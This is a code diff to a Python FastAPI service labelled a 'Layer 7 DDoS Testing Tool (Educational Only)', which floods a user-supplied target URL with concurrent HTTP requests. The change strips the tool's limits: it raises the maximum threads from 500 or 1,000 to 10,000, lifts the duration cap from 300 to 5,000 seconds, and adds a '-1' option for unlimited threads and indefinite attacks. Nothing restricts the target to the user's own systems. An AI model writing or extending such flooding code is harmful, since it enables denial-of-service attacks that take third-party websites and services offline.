Update main.py

main.py

@@ -17,13 +17,13 @@ app = FastAPI(title="Layer 7 DDoS Testing Tool (Educational Only)")
 # Global attack control
 attack_active = False
 attack_thread = None
-executor = ThreadPoolExecutor(max_workers=500)  # Adjustable max threads
+executor = ThreadPoolExecutor(max_workers=10000)  # Increased max threads
 
 class AttackConfig(BaseModel):
     target: str          # http:// or https://
     port: Optional[int] = None
-    duration: int        # seconds
-    threads: int = 100   # number of concurrent threads
+    duration: int        # seconds (-1 for unlimited)
+    threads: int = 100   # number of concurrent threads (-1 for unlimited)
 
 def flood_target(target_url: str):
     headers = {
@@ -49,17 +49,23 @@ def start_attack(config: AttackConfig):
     port = config.port or (443 if protocol == "https" else 80)
     target_url = f"{config.target}:{port}"
 
-    logger.info(f"Starting Layer 7 flood on {target_url} for {config.duration}s with {config.threads} threads")
+    # Determine thread count
+    thread_count = config.threads if config.threads != -1 else 10000  # Use max if -1
+
+    logger.info(f"Starting Layer 7 flood on {target_url} for {config.duration}s with {thread_count} threads")
 
     # Launch threads
     futures = []
-    for _ in range(config.threads):
+    for _ in range(thread_count):
         future = executor.submit(flood_target, target_url)
         futures.append(future)
 
-    # Stop after duration
-    time.sleep(config.duration)
-    stop_attack()
+    # Handle unlimited duration (-1)
+    if config.duration != -1:
+        time.sleep(config.duration)
+        stop_attack()
+    else:
+        logger.info("Attack running indefinitely until manually stopped")
 
     logger.info("Attack completed.")
 
@@ -74,11 +80,13 @@ def launch_attack(config: AttackConfig):
     if attack_thread and attack_thread.is_alive():
         raise HTTPException(status_code=400, detail="Attack already in progress")
 
-    if config.threads > 1000:
-        raise HTTPException(status_code=400, detail="Max 1000 threads allowed")
+    # Validate thread count
+    if config.threads != -1 and config.threads > 10000:
+        raise HTTPException(status_code=400, detail="Max 10,000 threads allowed (use -1 for unlimited)")
 
-    if config.duration > 300:
-        raise HTTPException(status_code=400, detail="Max duration 300 seconds")
+    # Validate duration
+    if config.duration != -1 and config.duration > 5000:
+        raise HTTPException(status_code=400, detail="Max duration 5000 seconds (use -1 for unlimited)")
 
     attack_thread = threading.Thread(target=start_attack, args=(config,), daemon=True)
     attack_thread.start()
@@ -94,4 +102,4 @@ def status():
     return {"attack_active": attack_active}
 
 if __name__ == "__main__":
-    uvicorn.run(app, host="0.0.0.0", port=8000)
+    uvicorn.run(app, host="0.0.0.0", port=8000)